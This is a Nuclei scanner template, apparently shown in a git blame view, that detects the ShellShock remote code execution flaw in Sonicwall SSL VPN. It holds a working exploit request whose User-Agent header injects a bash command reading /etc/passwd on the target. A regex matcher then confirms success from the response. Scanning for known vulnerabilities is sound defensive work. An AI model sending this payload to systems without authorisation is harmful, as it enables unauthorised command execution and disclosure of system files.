nuclei-templates/http/vulnerabilities/other/sonicwall-sslvpn-shellshock...

40 lines
1.2 KiB
YAML
Raw Permalink Normal View History

2021-01-26 10:20:46 +00:00
id: sonicwall-sslvpn-shellshock
info:
name: Sonicwall SSLVPN - Remote Code Execution (ShellShock)
2021-01-26 10:20:46 +00:00
author: PR3R00T
severity: critical
description: |
Sonicwall SSLVPN contains a 'ShellShock' vulnerability which allows remote unauthenticated attackers to execute arbitrary commands.
reference:
- https://twitter.com/chybeta/status/1353974652540882944
- https://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit/
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
2023-10-14 11:27:55 +00:00
cvss-score: 10
cwe-id: CWE-77
metadata:
max-request: 1
2023-10-14 11:27:55 +00:00
tags: shellshock,sonicwall,rce,vpn
2021-01-26 10:20:46 +00:00
http:
2021-01-26 10:40:48 +00:00
- raw:
2021-01-26 10:44:17 +00:00
- |
2021-01-26 10:20:46 +00:00
GET /cgi-bin/jarrewrite.sh HTTP/1.1
Host: {{Hostname}}
User-Agent: "() { :; }; echo ; /bin/bash -c 'cat /etc/passwd'"
Accept: */*
2021-01-26 14:31:01 +00:00
matchers-condition: and
matchers:
2021-01-26 10:20:46 +00:00
- type: regex
part: body
2021-01-26 10:20:46 +00:00
regex:
- "root:.*:0:0:"
2021-01-26 10:20:46 +00:00
- type: status
status:
- 200
# digest: 4a0a00473045022100ec83d300f9a59fc11765266702b602eaae4d835722e91762ead49bb65a38315902205a2dceefbb3d41792d8ede6abf98860a3cb61efd40aa6d981703bf76777360dc:922c64590222798bb761d5b6d8e72950